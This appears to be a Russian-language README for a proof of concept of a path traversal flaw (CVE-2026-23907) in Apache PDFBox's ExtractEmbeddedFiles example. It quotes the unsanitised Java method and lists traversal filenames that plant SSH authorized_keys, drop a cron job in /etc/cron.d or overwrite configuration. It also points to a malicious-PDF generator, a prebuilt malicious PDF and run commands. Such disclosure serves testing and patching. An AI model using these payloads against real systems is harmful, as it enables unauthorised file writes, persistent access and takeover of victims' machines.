
Доказательство концепции эксплуатации уязвимости обхода пути в Apache PDFBox (CVE-2026-23907), демонстрирующее произвольную запись файлов через вредоносные PDF-файлы со встроенными файлами.
Пример кода ExtractEmbeddedFiles в Apache PDFBox не санирует имена файлов при извлечении встроенных файлов из PDF-документов. Злоумышленник может внедрить файлы с последовательностями обхода каталогов (../), чтобы записать файлы в произвольные места файловой системы.
Файл: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
Параметр filename поступает напрямую из PDF-файла без проверки.
Внедрение SSH-ключа
../../.ssh/authorized_keysВнедрение cron-задания
../../../etc/cron.d/maliciousПерезапись конфигурации
../../config/database.ymlcreate_malicious_pdf.py — Генерирует вредоносный PDF-файл с обходом каталоговTestPathTraversal.java — Демонстрирует уязвимостьtest_path_traversal.sh — Автоматизированный тестовый скриптmalicious_path_traversal.pdf — Предварительно сгенерированный вредоносный PDF-файл./test_path_traversal.sh
# 1. Сгенерировать вредоносный PDF-файл
python3 create_malicious_pdf.py
# 2. Скомпилировать тест (требуется JAR-файл PDFBox)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Запустить тест
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Проверить обход каталогов
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() без санизации